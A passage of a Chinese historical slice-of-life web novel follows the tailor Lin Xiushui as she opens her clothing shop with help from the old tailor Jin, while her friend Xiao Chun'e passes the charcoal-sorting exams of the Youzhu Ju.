散边是纱布缝合中很常见又很让人着恼的问题,大多出现在褙子的腋下缝合处,而这种异型的纱布飘布,出现得相当多,从而产生了许多废片。 成堆的废片,被林秀水卖给做象生花朵的,供她们做莲花,至少还能挽回些许损失。 一股风潮的盛行,其后必定有许许多多的事情和未知的发展,幸好不是林秀水一个人独挡,裁缝作多得是人手去处理那些纷杂的事情。 回来开了一日的会,林秀水很困,说话比做衣裳还费劲,她捶捶背。 顾娘子这时问她,“你铺子弄得如何了,想两头赚?这里下工那里开铺子?” “是也不是,”林秀水伸出根手指说,“我是这头赚了那头花,那头想出点子这头做,两不耽误。” 林秀水肯定不会时时守着铺子,裁缝铺前期肯定赚不了多少钱,花大钱定做衣裳的,在她不出名的时候,几乎没有,桑桥渡来往又并非多有钱的人,肯定想要便宜好穿的衣裳。 要贴进去各种布料,花钱到装潢上去,林秀水得先从裁缝作赚了钱,供着裁缝铺子,等它能让林秀水有底气只专精这一块时,她说不准才会离开裁缝作。 是以她要请人帮忙,守铺子、做迎客、量身等活,本来她是请金裁缝帮忙找人,金裁缝听完她的话问:“给多少?” “如果是手艺娴熟的裁缝,眼力见也好的话,可以先给两贯,”林秀水盘算了许久,“后面做得好的话,还可以加。” 金裁缝伸出手,“成交,给钱。” 林秀水惊诧,手在自己身前晃动,有些结巴,“什么,什么意思?” “我啊,老裁缝,手艺娴熟,眼力一等一的好,没事做,闲得慌,”金裁缝一一列举自己的好处,“我很乐意去给你守着铺子,你完全不用担心生意。” “你放心,我不嫌钱少,而且我这个人有一点很好,简单的活帮你做,难的活别想我做。” 林秀水后来才懂,金裁缝说的是实打实的真话,那些完全不费脑的,人家自己顺手给做了,奇葩的,难搞的,闻所未闻的,故意留着给林秀水做,美其名曰历练。 真是天底下难有的好人啊。 “怎么了?嫌弃我一把年纪了?”金裁缝佯怒道。 林秀水连连摇头,“请你老来,两贯可不够啊。” 金裁缝晃晃手说:“别管了,千金难买我乐意,老头嘛死得早,我岁数又大了些,做衣裳的活全给了闺女,难得能寻个乐子。” 其实她手底下铺子也有好几间,可就乐意给林秀水帮忙去。 “走,先带我认个路,我连南货坊都没去过几趟,什么时候开门?”金裁缝十分有精气神地问,“我等不及上工了。” “还有三日呢。” 而这三日里,其他听闻消息的人,都来给林秀水道喜,哪怕她对外说铺子借的钱,东西压在质库里,大家也很为她高兴。 只是桑树口的人如丧考妣,天塌了。 “不回来缝补了啊?”老大娘难受得很,“夏日里热得慌,我懒得出门,我就盼着天凉快下来,你摊子又支起来,好日日过来瞧你缝补的。” “是啊,好久没瞧到乐子了,你走了,我们可咋办啊?” “阿俏,还会回来吗?阿俏” “这人家大喜事,你们能不能说点好听的。” 林秀水实在受不了大家的情感,真情实感为她高兴,也真情实感为此难过。 她安慰大家道:“等我忙过这段日子,有空闲就补,你们听老算命不是都听得很乐呵吗?” “不一样啊,”一群人异口同声。 林秀水明白大家的感情,说会补的,叫大家攒点好玩的,她抽空来补。 到裁缝铺开业的那日,林秀水本想很低调,又很寻常地开门挂牌,挂上水记全衣的牌匾。 但她心里扑通直跳,金裁缝叠着布料问她,“怎么,身上长虱子了?痒得慌?” “不是,有种不好的预感。” 果不其然,门外响起了敲锣打鼓声,她悄悄打开门,将眼睛贴在门缝上,伸手盖住脸,她就知道。 谁让它来的啊? 金裁缝也走出来,将门推开,站出来瞧,见此情景不免啧啧两声道:“好家伙,就说在你这有乐子瞧。” 门外鼓乐齐天,列阵两旁,一只穿着大红衣裳的黑色公鸡,昂首挺胸,鸡摇鸡摆走在了最前方,目中有人,准备一头扎进人堆里。 后面跟着一个人,肩膀上顶两只鹦鹉,一只翠绿色羽毛的鹦鹉则飞起来,又落下喊:“恭喜,恭喜——” 养鸟郎很急切地开口,“是恭喜发财啊。” 翠花喊:“恭喜,恭喜发财财财财” 周围人驻足,又一阵哄堂大笑。 广惠不甘落后,推着一架小车,带来六只系着红围兜的猫,他自己带着个粗制滥造的红围兜,过来林秀水开铺子迎彩。 “你养过的?”金裁缝好奇。 林秀水捂脸,“那倒不是,我们有非人的交情。” 她只想,不早点说,又没准备鸡吃的谷子,鹦鹉吃的小油松,还有猫吃的猫鱼,让她这个主人家情何以堪。 这群家伙真是各有各的笑料,送的贺礼也稀奇古怪,铁公鸡送了它鸡生里不会有的,一百二十个鸭蛋、鹅蛋、绘彩蛋。 阿宝和翠花的贺礼,则由养鸟郎送过来,是两个黑笼子里,用黄杨木雕的鹦鹉,跟这两只灰腹绿背红嘴鹦鹉一模一样。 六只猫的嘛,广惠则拿着一叠纸来说:“这是桑树口小报,这是猫报,我还可以不要钱给你出衣报,这叫作一报还一报。” “别急,真有用得上你的时候,”林秀水笑着收过,衣报出不出再说,之后做完衣服,写真可以安排上。 广惠摸摸自己脑袋,真有种毛毛的感觉,他低头一看,“别蹭我,你个小猫。” 林秀水以为就这三,没想到后面苏巧娘带着她的小布袋戏社 十来个小孩来了。每个人手里都套着不同衣裳的布袋木偶,只是木偶手里都有红色的长绸,在苏巧娘的带领下,齐齐整整地开始挥舞,红绸摇摆,红绸飞旋,颇具美感。 看得大家一愣一愣的,视线随着红绸上下晃动,而后拍手叫好,都以为是林秀水请来的杂戏班子。 天知道,林秀水根本没有请,苏巧娘自己带着这群小“徒弟”,每日晚上在廊棚里练和玩,眼下看真弄出了点名堂来。 她们还在挥的时候,春大娘穿着新衣跑过来,喘着气说:“没来迟吧,我们刚下了场早戏,等会儿大家会过来,在这里唱一日。” “我们小女童像生叫声社正好有乔迎亲的、乔谢神的、乔迎酒的,这些日子来,家伙行当攒够了,备得齐全,还有乔吟叫的,给你吆喝吆喝,保管在你铺子开门迎客时,风风光光来上几场。” 林秀水忙说:“不要,你们够累的。” “我们做不到给你雪中送炭,只能给你增光添彩了,”春大娘如此说。 林秀水长久无言,她看着卖力在人群里使出浑身本事,来给她招揽生意、贺彩的许多人,她看见了很多的熟面孔,听着阵阵叫好声,眼前也泛起了白雾。 要如何忘怀今日,要如何铭刻今日。 寻常日子里,热闹的场景,或唱或跳,或高声吟叫唱卖,大家聚在一块,喜气洋洋的,在晴朗的好日头里,全等着牌匾上的红绸被揭下。 慢慢露出上面的水记全衣四个大字。 众人欢呼拍掌,奔涌过来,犹如潮水,喊着:“开门迎客喽——” 声浪一声高过一声,林秀水握着拽下来的红绸,在喊声里,回望那牌匾,红底黑字的水记全衣。 自此之后,则一直热热闹闹地开门迎客,半日接了二十来个单子。 金裁缝回味着今日的盛况说:“太好了,就冲这里大家能豁得出去的,我没来错地方。” “在这里做衣,半点不亏。” “嘴不亏,眼不亏,耳朵不亏,你不亏。” 林秀水则道:“最重要的是不亏心。” 75-80 第76章 第 76 章 考上了油烛局 二十来个单子, 一半来自熟人,一半则是被这阵仗吸引来瞧瞧的。 连两边铺面的,王家租铺、刘三姐杂物铺的人连生意也不做了, 出来瞧热闹。 杂物铺的刘三姐迈步出来,她识得不少字,握扇子挡在眉毛上, 往中间屋檐下瞧,只见明晃晃的牌匾挂在正中央,低低念了水记全衣四个字。 又将目光偏到左侧,屋檐下挂了招幌, 粉背心,浅黄上襦,白绢裙, 以及水蓝的合围裙,不算大,最多到大腿能穿得进去。 却见门铺上垂下来的木牌子,上写褙子、上襦、衫子、背心、百迭裙、百褶裙、外裤,左侧门柱上橙色纸上写,给女子孩童,做四季衣裳。 右边米色长纸条则为, 高矮胖瘦, 家常便衣, 待客礼服, 全都能做。 偏下还有张月白色的纸,刘三姐眯着眼往前走两步,上头写了,四时好衣, 尽在水记。 她看完后用扇子盖住脸,笑了好几声,觉得有点看头,便绕到自家门前,从柱子边上穿过去,走到铺子里去。 里面香气馥郁,有好些娘子在挑中间桌上摆的布料,左侧也有几个小娘子,仰头看高架子上垂挂下来的布料,用手去撩,细看上面的纹样。 右侧墙上有一排木架,上面垂挂着衣裳,蓝绢布褙子、粉色上襦,紫纱裙子、红缎面背心,各式领抹、裙带等等,刘三姐上手取下件衣裳,又往布上瞧,发觉这样衣和布料的纹样相同。 摸了摸料子,很顺滑舒服,她低头细看,没有任何褶皱,和多余的线头、线缝,不知为何,给人一种穿上后相当服帖、挺拔的感觉,大概是做工很细致。 而且布料是寻常可见的料子,绢布、绵绸、细麻,纹样和颜色却不多见,有一款是由粉到浅白的纱料,像最近盛行的莲花短合围料子的颜色,时兴好看,好多人围着。 刘三姐本想来瞧个热闹的,到了铺子里,便脱口而出,“衣裳怎么做?” 她又暗自后悔,自己长得圆润,肤色稍黑,这都不打紧,关键是她的肩膀有着相对明显的高低差,右肩高,左肩低,她不去裁缝铺做衣裳的,最多到成衣铺里,试试有没有合身的就买下来穿穿。 林秀水正在她边上,整理凌乱散落的布头,闻言便走过来说:“娘子你要做整衣,还是其他的?” “整衣怎么做,其他的价钱呢?”刘三姐放下手里在看的褙子,顺着她的话接下去说。 “整衣看料子,细麻的料子便宜,褙子、抹胸、百褶裙的话,加起来是四贯差不多,像是这款莲花粉的纱料单做裙子的话,会贵一点,要三贯上下。” 林秀水很细心地解释,“这料子最近时兴,染的苏木价钱都涨了,素纱本就不便宜,一匹布价钱已经上三贯了。” 还是基于裁缝作本身有染坊,能够有染匠自己染,由于短花瓣合围的盛行,染红的苏木、茜草、红花价钱飞涨,有素纱的生帛铺往上涨了两百文到五百文。 林秀水说的价钱相对要便宜很多。 有位娘子深表认同,“可不是,我去布市里自己挑料子,这种粉的纱要五贯,就够做一条裙子的,跟往兜里抢钱一样。” “才五贯,我上回问的那家要六贯,猜我买没买?”那娘子咬牙切齿,“我压根没买,我就蹲那,看看有没有人骂她们这个卖价的。” 林秀水对此是真没辙,采买的庄管事已经在她身边来来回回骂过许多遍了,说这些人都该进监牢,让她用布抽死大家算了。 染匠们已经打算换用苏木,在林秀水的建议下,选用枇杷叶,或者姜黄先染成黄的,苏木套染,一种是偏浅的粉,一种是偏橙的粉,都还不错,新布是全给了她,让她试试做新衣。 刘三姐则在众人七嘴八舌里说:“要先做上衣。” 她走了两步到往二楼去的门边,挂了布帘子的地方,林秀水看出她的难言之隐,又是左右铺面的邻居,便跟金裁缝说了声,打起布帘叫她到后面说。 “我就想要肩膀这处,看起来是平的,不要一高一低跟山峰突了又跌下去一样,”刘三姐对外是个爽快人,就对这肩膀头子烦得很。 林秀水叫她站好,退后两步看了眼,确实两肩差得有点显眼,而后道:“刘娘子我给你记着,你下晌到铺子里来,我给你好好量量,琢磨下如何做。” 刘三姐铺子里也忙,立即点头应下,“你好好想。” 一会儿工夫,要做衣的有五六个,看了料子便定下来,做整套秋衫的。 林秀水给记下来,她们想做的衣裳很明确,比如要偏黄色的罗布做直袖衫,领抹得是绿的,抹胸穿栀子黄的,下裙得是橙色的百褶裙,或者是藕荷色的抹胸,水蓝的窄袖褙子等等。 有位女子说完,又满脸喜悦道:“我们做采菱营生的,夏日里刚采了百来船的菱,赚了点钱,本想到桑绫弄那边做衣裳的,没想到你家的更便宜。” “我想给我闺女也做一身,她才三岁,这会儿没来,能做什么衣裳?” 金裁缝给别的娘子量身,林秀水记下后说:“可以做母女装。” “什么?”采菱娘子问。 林秀水站在台子后,身子往前倾,“母女装是大人孩童穿一样的衣裳,颜色、形制、花样都一样。” 采菱娘子明显心动,谁能拒绝孩子跟她穿一样的衣裳,她当即便道:“做,我做两套一样的,先记下,我明日把我孩子领来。” “这什么母女装,给我们两个也整套呗,”一个瞧着十四五的小姑娘,拉着另一个跟她差不多年纪的小娘子过来。 “少臭不要脸,我当你娘。” “我年纪大,我才是,你忘记你是我看着长大的?” 两个人斗嘴,林秀水咳了两声,插进一句话,“其实我们也 可以做姐妹装的。” “早说嘛,其实我是她姐姐,”先开口的小娘子说。 另一位娘子伸手道:“姐姐,给钱。” 看足了热闹后,林秀水才憋着笑记下来,一整个上午手忙脚乱,定钱收了七八贯,承诺大家七日后会给出衣裳。 到了晌午,人多不散,王月兰跟林秀水耳语几句,自己急匆匆出门,找了在桑树口二桥头盘车架,卖各色包子的老夫妻。 有虾鱼包儿、蟹肉包儿、江鱼包儿、枣栗馅、蜜辣馅的,价钱最贵不过五文一个,又有油纸包着,供几十人吃了。 大家来捧场,自然要做得体面些。 等人陆陆续续告辞走后,林秀水捶捶胳膊,朝着站在屋里的人说:“晌午吃面去?” 小春娥从柜台边角抽了把扇子,一早上又热又挤,她坐在绣墩上说:“等会儿,我先歇一歇。” “留着晚上再请我吃,”桑英嘴里塞着包子,说了句便往外边走,她送了林秀水一匹两贯多的水蓝绢布,花了一个月的月钱,她兜里没剩几个子,得多送几家米。 小荷则从门帘后跑过来,被门帘糊住脸,只伸出两只手晃来晃去说:“我去吃,别忘了我。” “吃,在你心里吃为天,”王月兰掀开绿布帘,放小荷出来。 几人去吃了肉淘面,小春娥回去了,下午上工,王月兰带小荷去先去睡一觉,林秀水则跟金裁缝对着记下来的单子,早上人多又杂,有些记下来了,收了定钱,但没量身,请她们到下晌人少时再来。 “这半日有二十六人做衣裳,还有急穿的,你做得过来?”金裁缝翻了翻册子,虽说是秋衫,样式没有太出格的,要求也简单。 按金裁缝自己来说,做得精细,十日能出一套,二十五六人的衣裳,排到猴年马月去。 林秀水靠在灯挂椅的椅背上,她稍稍侧身,往纸上看了眼,笑道:“那当然来不及做。” “金姨,你看这种款式简便的,她看重的一则为布料,二想合身好看,三是趁着秋日没过,秋衫快点上身,”林秀水伸手捞过新布尺,低着头看尺说,“我们先量身,确保纸样打得精准,布片裁得好。” 她笑了声,“剩下我花钱到裁缝作里,让她们帮我缝好,我再拿回来,不合身的地方自己改,那原本大家一件件等,排期至少要到一两个月,眼下五日到七日便能拿到自己中意的衣裳。” 如果说原本林秀水一套衣裳能赚六百文的,请裁缝作的娘子缝,她最多赚两百文,可出的衣裳快,接的单子多,也能赚不少。 她又不死板,要的是如何大家尽快穿上合身,且好看的衣裳。 铺子里渐渐没人时,刘三姐才从另一侧过来,金裁缝了然,她看人身形有数得很,林秀水也跟她说过。 肩膀高低不平其实挺常见的,挑担卖货的话,这通常是老毛病。 金裁缝叫刘三姐先到屋里去,要量下肩宽,跟林秀水说:“这种不用垫脚,不用在褙子底下垫衣片,我教你个法子,你学着点。” 林秀水眼睛亮亮,连连点头,她最开始想的法子,是将外面罩着的衣裳料子加厚,最好用深色布料,如黑、褐两色,便可以在稍矮的肩侧那里,垫一些薄衣片,以达到两肩同样的高度。 但金裁缝并不觉得有多好,那么薄纱、薄布、浅布都穿不了,以后只穿深色的衣裳过活吗。 她顺手抽了条裁好的长披帛,是林秀水从青丫那里定的蓝纱扎染的,上面有白花图案。 金裁缝撩开帘子,进了楼梯旁的小间,专门用来熨布,量身的,这里有两扇黑漆窗户,还有小门能出去走到后街。 她先叫林秀水量了肩宽,腰围,高度差,才请刘三姐站起来,今日刘三姐穿了件深蓝的褙子,抹胸是黄的,绿裙子。 “其实你穿齐胸襦裙会更好,不信你试试,”金裁缝叫林秀水从外头拿从前往后数,第三件绿色上襦。 林秀水出去在衣架前数了数,才拆下衣架子,拿了进来,刘三姐则有点不信,“我穿那个能好看?我瞧都是小娘子们穿的,我今年二十八了。” “怎么了,我五十三,我也穿,衣裳又不分年纪。” “你先试试。” 刘三姐心中一动,脱下外面的褙子,穿好这件绿色的上襦,林秀水将她的裙子拉得高一点,将裙带暂时系到胸下处。 金裁缝绕着手里的披帛,慢慢缩紧,让蓝披帛一头挂在林秀水掌心,自己拽着一头,从刘三姐裙带下穿过。弯下身子将披帛往下拉,一直拉到脚踝处,起身把挂在肩头的披帛整理整理,弄点褶皱缩紧,只到肩膀往下处一点点,其余的缠在手里,从背后的裙带处穿过去。 林秀水退到小门处,站远些瞧,她确实第一时间将目光投到刘三姐的左肩上,她记得左肩要把右肩矮上一点。 可这会儿她的注意全然没有高低肩上头,细看当然也能看出来,但她视线的落点在肩头的蓝白披帛上,垂下来的披帛则像是多了别样的点缀。 刘三姐本身有些圆润,裙子到胸上,腋下处,上襦换一换颜色。她本身的那种丰盈美会放得更大点,当身上的美放大很多时,是不会在意肩膀处的小毛病,林秀水仔细想着,忽而恍然大悟。 金裁缝整理好,她叫刘三姐站在铜镜前瞧瞧,刘三姐原本有点不大信的,一条披帛就能解决了她苦恼的问题了? 缓缓挪过去几步,站直了背,瞧着高台上镜子里的自己,她瞪大了眼睛,发出如下不明意义的声音,“唔,咦,嘶,哎” 她的右手摸上了左肩,左手又摸上了右肩,交叉环绕,告诉她肩膀并没有多一块肉出来。 可镜子里的自己肩膀处,矮的那处即使因为披帛而变得更加显眼,却不是因为高低落差而显眼的。 “神了,神了,我还以为要往里垫东西呢,”刘三姐转头拉着金裁缝的手,情真意切地喊,“老师傅,你下回再指点我,我绝对说一不二。” “那你在这里做套衣裳吧,就做齐胸襦裙,”金裁缝很直截了当地说,“小林裁缝会给你做得很好。” “好好好,我做两套,”刘三姐摇摆着裙子,又去照镜子了。 林秀水走过去小声地说:“金姨,你不做啊?” “我当然不做,”金裁缝背过手去,理直气壮地说,“我做不来啊。” “倒是模模糊糊知道,人家不一样要穿黑的,黑色纱制团花披帛可以,你多想想,我年纪大了,着实想不动,跟你们年轻人没法比。” 林秀水哑口无言,刚才说自己五十三还年轻,不过半柱香时间,就已经老眼昏花了。 老花来得可真快。 送走愉悦、满意、心花怒放的刘三姐,林秀水琢磨着今日所学,犯困至极,头一点一点的,趴在桌子上睡了过去。 金裁缝看见了,笑着摇摇头,给她后背垫了件衣裳。 一日平稳结束,接了总有三十多个衣裳活计,林秀水准备等裁剪好,再送到裁缝作里去,她先让金裁缝回去,下工准备多做点。 秋天黑得早,她关门落锁出来,街边铺面都挂了灯笼,抬头天上有了星子。 她低头整理裙摆,想朝家里走,走了两步,先见一盏摇摇摆摆的灯笼停在她面前,她抬起头,陈九川站在她面前。 他紧赶慢赶回来,她不在家,王月兰给他指了路,他循了路过来接一下。 “吓我一跳,”林秀水嗔怪道。 陈九川将灯笼提到自己的脑袋下,让光照着自己的脸,“很吓人吗?我下回这样走。” 林秀水一本正经,“你这样很好笑。” 没等陈九川放下灯笼,她又忽然凑过去,将脑袋在灯笼前晃了晃,露出灵动的神情,仰起脸说:“吓人吗?吓到你了吗?好笑吗?” “吓到了,”陈九川故意往后躲。 好笑吗?不,很好看。 他握的灯笼晃得很厉害,陈九川想叫住擦肩 而过卖眼药的,给他来点眼药。 他眼前怎么多了一双模糊又清楚的眼睛,弯弯的,圆圆的,在路边的灯笼晃动下,一直映在他的眼睛里。 “还没有恭喜你” “还没有感谢你” 两个人声音撞在一块。 林秀水笑了两声,“那当然要恭喜我啦。” “为什么感谢我,你又不要我借你的钱,”陈九川不解,他确实之前想要借给林秀水一笔银钱,为此日日出外船。 林秀水想起他那笔数额很大的银钱,她说:“那不行,要还呢。” “别提了,我请你吃生熟灌藕,这个看起来就很好吃,”林秀水见个老大娘的摊子,赶紧招招手,“快来陈九川。” 陈九川挪了几步,“不请我点别的?” 搞区别对待。 “你别忘本啊,我们两个从前这个时候就吃藕的,在你家炖糖藕,我这会儿还请你吃生熟灌藕,”林秀水歪头看他,“吃不吃?” “吃。” 陈九川说:“下回我请你。” “哦,那我要吃好的,”林秀水笑眯眯地说。 “可以,好,行。” 林秀水看他,“别说我的词。” “我就说。” 林秀水不想搭理他,她要吃生熟灌藕了。 晚上林秀水睡得很好,第二日拿着裁好的衣片到了裁缝作,刚到门口时,等候在一边的小春娥飞跑过来,满脸喜色,“阿俏,你知道吗?知道吗?” 林秀水放下手里的布袋,她茫然,“知道什么?” “油烛局要招人了!招三十个人呢!天呐,我昨夜一夜没睡着,早上三更天就去那里瞧过了,真的,是真的招人。” “真的吗?”林秀水睁大了眼睛,她握住小春娥的手,“什么时候开始招?” “后日,后日就招人了,”小春娥心扑通直跳,“你看我手抖的,我做梦都是今年没被选上。” 每年秋初油烛局就会招人,秋冬两个季节里,需要烧炭烧炉子的地方非常多,人手通常是紧缺的。 进了油烛局那跟寻常的烧炭不一样,那边叫簇炭,哪怕只是个底层杂工,一个月工钱就有两贯八钱。而且有春秋两季的衣裳,每月会有一篓的木炭,一盒香饼、两根蜡烛,听说还有旁的等物。 毕竟是四司六局,即使不是临安内城官府办的,可民间的也相当庞大,进去相当有个稳定的好饭碗。有能耐可以一直往上升,以此为跳板,从各处的四司六局里,一路直升到临安城,只是油烛局选人一直很严苛。 小春娥难掩激动和紧张,林秀水握住她的手,神色专注而认真地说:“你肯定可以的。” “但我又怕,我走了以后,你在这就没有一起吃饭的人了,”小春娥又颇为忧心忡忡,她担心的点也是很奇怪。 林秀水一手提布袋,一手转过她的身子,“什么时候,还想这个,你赶紧准备去,请几日假先,到时候我陪着你去。” 小春娥没跟家里明说,她娘是不愿意小春娥到油烛局的,她觉得在裁缝作里烧香炭就相当好了,又近又能顾得上,而且不怕人欺负。 什么油烛局听着是很风光,但其中的苦楚只有自己才清楚。 虽然在裁缝作里,三五年的工钱都不见得涨到三贯银钱,可至少很稳当,她家里的人都图一个稳字,不图大富大贵和出名。 而林秀水却会说:“今年不去,那么今年到明年的一整年里,都会惦记这个事情,我们总要去试试。你还年轻,今年不成,还有明年,明年还有后年。” 小春娥努力严肃地说:“我肯定要去试试。” 所以后日的清早,小春娥偷偷溜出家门,林秀水在船头等她,大力朝她挥手。 “别急别慌,我们先吃饱饭,我给你带了热饼,包子先垫垫肚子,那天人很多,要抽签子进去的,”林秀水递给她包子,没多少油腥,又拍拍自己的胸膛,“有小林船工送你去,你可放心吧,把力气用到烧炭上。” “不要害怕,害怕就想想我,我说小春娥是烧炭里最厉害的。” 林秀水回忆着从前,她慢慢说:“以前我问你要不要跟我熨布,你说你就喜欢烧火啊,你可以看出每一样木炭的成色,知道哪些烧得快,哪些烧得慢。” 她还记得当时小春娥的神情,脸上沾着黑灰,也依旧眼神明亮。 “你会用很多的炉子,袖炉、手炉、泥风炉等等,你说我们能做一件事就很不错了,你说你最想去四司六局的油烛局。” “你看,油烛局离你已经很近了。” 小春娥握着热腾腾的包子,其实她确实紧张得手脚在抖,可听了林秀水的话,她从窗子里往外瞧,仿佛那庞大的四司六局正在她的眼前。 她长长地松了口气,鼓舞自己,“我可以的。” 结果大早上的,油烛局前面有两百来号人,小春娥在人群被淹没,根本不起眼,她随着大流进去,去抽签,却听人群外有响亮的喊声,“小春娥,你可以的!我在门口等你。” 她扭头望过去,只有陌生的脸庞,她却捏着签子,逐渐安定下来,而后大声地回:“好!” 油烛局招工有三个考验,第一个考验是,要在一堆木炭里,分出湿炭和干炭,并将此快速点燃,半柱香的时间,越快越好。 烧炭的活是不能慢悠悠的,那边人家等着用炉子,要用火盆和炭火,这边说烧不着,得慢慢等,那冬日里炭会吸湿,压根不用干了。 小春娥镇定地望着,想起从前自己烧过的炭,她长呼一口气,举起火钳子开始挑,一颗又一颗的湿炭被她挑出来,她很快点燃了火盆。 这一关比她快的人很多,她的手湿漉漉的,到第二关考验时,从两种炭变成了三种炭,是区分木炭和石炭,并且将石炭全部挑出来,只烧石炭。 小春娥烧得很快,她只等香燃到一半的时候,便已经挑完,烧起火盆子,等着油烛局的管事过来查验。 到第三关时,她身边已经有许多位置空了,她环顾一圈,六七十号人只有二三十人了,她稳住自己的心神。 第三个考验是,炭篓子里面有四种炭,分别是很好烧的竹炭、松炭,烧得很旺的栎炭、火力很差劲的桑炭。 不分炭,可要将全部炭烧着烧旺,有一炷香的时间,其中栎炭是最不好烧的,哪怕它烧着时火力最旺,没有其他炭先烧得很旺时,它便会燃着燃着慢慢熄灭。 即使这些炭小春娥很熟,她也没有办法很快分出,额头几乎淌了汗,用窄袖擦了又擦,赶在最后的香要燃尽时,她的火盆到了火势最大的时候。 管事给了她牌子,叫她到另外一个空屋子里等,等啊等,等的小春娥忐忑不安,一直来回走动,心扑通直跳。 才听见有穿着油烛局黑色衣裳的人过来喊:“姚春娥在不在?后日来油烛局上工。” “我在,我在这里,真的吗?”小春娥破音了,“我吗?是南大街西边第六家的小春娥吗?” “是的,就是你。” 小春娥快晕了,极大的喜悦冲击着她,她腿软,后来才知道自己是前七名。 她又狂奔出去,奔跑在油烛局里,奔跑在四司六局蜿蜒的道路上,直到跑出头,遥遥地冲林秀水招手,声嘶力竭地冲林秀水喊:“我过了!阿俏,我过了!” 林秀水也冲她用力挥手,她的内心充盈着说不出的情感,想流泪。 那是极其复杂的感情,像乱麻交织在一起。 可是很高兴,烧了好久的炭,你终于去到了想去的地方,走到了更好的前程里。 第77章 第 77 章 转行的几个人 油烛局给小春娥安排的活是挑炭。 她本人对此很满意, 走出来又哭又笑一路,才用手帕抹了把红通通的眼睛,回望四司六局的大门, 信心满满地说:“这活就很好,我先挑炭,再烧炭, 烧香饼,以后再试试认油烛,点油烛,说不准过上几年, 我小春娥也能当上个小管事呢。” “阿俏你扶我一把,我咋感觉自己抖得慌呢?” 小春娥放完大话,颤颤巍巍将手伸过去, 她腿软,连步子也迈不开,她艰难挪了两步哭丧着脸,“我不会跟那些多年未中的秀才,一朝中举还没昭告天下,就先倒下了吧。那可怎么办,我家里虽然不盼着我成才, 我娘也总说我能混口饭吃就好, 可我还年轻啊…” 林秀水听她说一通话, 默默地蹲下来, 拽出被她脚踩住的裙摆,“你再走两步呢?” “可我真的走不动啊,咦,”小春娥刚说完, 大步跨了出去,她低头看脚,拉好裙子哈哈大笑,“我说嘛,原 来是裙子害我。” 林秀水笑得一抖一抖,差点没撞到墙上去,两个人在巷子里傻笑,直至走到陌生的街巷里,把停泊在岸边的船都抛在脑后。 那天走了好几里,林秀水说自己跟小春娥可真傻,就是腿脚好,怪能走的。 小春娥又比她要好,林秀水回去吃了两口饭,累得倒头大睡,小春娥却熬了一整个通宵,跟她一家老小,反反复复说着她到底是怎么上油烛局的,内容极其为夸大。 “本来是想睡的,”小春娥耷拉着脑袋,眼皮睁不开,“可我刚说完要睡的时候,我娘扯我耳朵,说我别在家里放了串炮仗,炸得哪哪都是,自己转头就睡了。” 其实小春娥她娘刚开始说的是,烧炭烧到炮仗了,把你炸糊涂了是不是? 听完不像假的,她说自己被小春娥放的炮仗吓到了,今晚上是睡不着了,叫人赶紧重新放。小春娥就跟在家里点了一夜烟火加爆竹一样,时而大家惊叹,时而又高声欢呼,时而按捺不住奔涌的喜悦。 最后一大家子都顶着乌青的双眼上工,小春娥也来裁缝作里辞工,她吃完晌午饭后再说的,还能再混一顿饭。 小春娥吃得很难受,她将饭扒得乱七八糟,叹了好几口气,“咋办,以后只有你一个人吃饭了,我在那也是,再也没有人会夹自己碗里的肉给我吃了。” “馋肉直说,”林秀水把碗里的肉夹给她,“吃吧吃吧,下回我留着,送到油烛局里给你吃。” “那也不是不行。” 小春娥吃了裁缝作里的饭,明日起到油烛局里混饭吃了。 饭能吃得上,想吃好在哪里都不容易,她包着头,蒙着面,在炭山里拿着火钳子挑挑拣拣,让不同的炭分到各自箩筐里,每日重复这种枯燥乏味的活计。 可她却打心底认为站在这里就很好,能挑好炭,以后就能烧炭管炭,想想真是前途大好,火光熊熊。 林秀水敢听这话,张木生可不敢听,“我这辈子都听不得火字,一听我就想往上泼水。” 他拖着一瘸一拐的腿,右手握拐杖,左手手里夹着匹绢布,走到水记全衣铺子前说的。 金裁缝不认识他,偷摸跟林秀水说:“太黑了些,咋跟块炭一样。” “阿婆,我听得见,”张木生把绢布塞给林秀水,蹦着往门槛里跳。 金裁缝怒道:“叫谁阿婆?我岁数还很轻。” “那我也没有跟炭一样黑!”张木生完全否认,即使头两个月里,他确实黑得他娘都瞧不下去了,可这会儿他可白了不少。 在两个人将要继续争论时,林秀水赶紧走两步,打断对话,把针放回针盒里,先是对金裁缝说是熟人,又看了眼张木生的腿,“又挨你爹的打了?” 张木生差点蹦起来,想找个墙勾住,差点把拐杖扔出去,又兀自镇定下来,很无所谓地来了句,“才不是,救人的时候被掉的东西绊了下,小伤。” “那你可真是不得了,”林秀水惊讶。 张木生一脸谦虚,他认真道:“这得多谢你,要不是你,我哪里能当上潜火兵,我当不上潜火兵,就救不了人了,相当于你也救了人。” “这可是你自己的功劳。” 按张木生之前的性格,非得洋洋洒洒说上一大通,尤其是救人这种大好事,如何在烧着的屋子里,把自己全身淋湿,跑到二楼里救出一对老夫妻。结果自己受伤,不敢回家,在军巡铺躺了一个月,让人告诉爹娘去临安出公差,能下地才敢回来。 眼下说得轻飘飘,没有半点骄傲,大肆宣扬的意思,他认为这是自己应当要做的事情,不值一提,豁出命也可以。 看来长高的不仅是身长,也有磨炼出来的心智。 张木生腿砸得挺偏,当时好几个药铺说接不了骨头,请绍兴来的三六九伤科传人,在临安太庙的稽接骨桥来的,接骨很厉害,一个月后才能拄着拐下床走动,养上三个月,他能重新救火,半年里腿能养好。 眼下他得坐下来说话,嘿嘿笑了两声,“至少有得休息,之前我们只有三日旬休,像他们当官的,光是夏日里,初伏、中伏、末伏、秋社都能休一日假。” “我们说是给放,结果每次放了都是在系麻绳做麻搭,或是扯棉絮塞到竹筒里,做唧筒,”张木生有一肚子的气,让他救人救火,再累都能熬得住,可让他做这种事情,每次都想掀桌走人。 林秀水半掩了铺子门,今日开门早些,还没有人进来,去倒了两杯茶,一杯给张木生,一杯给金裁缝。 张木生赶紧喝了口,放下又道:“可我眼下想通了,我虽说暂时腿脚不便,但手还活着,总能干点事情。” “姐,秀姐,我想跟你学点缝补的手艺。” 林秀水正在喝茶,差点没将茶从嘴里喷出来,咳了两声咽下,抽出帕子擦擦嘴,她仍不敢相信自己听到了什么。 连金裁缝也背过身,咳了好几声,瞧起来黑模黑样的,以为人家来做衣裳的,正想说做不了,结果人家说来学手艺的,怎么不按常理出牌? 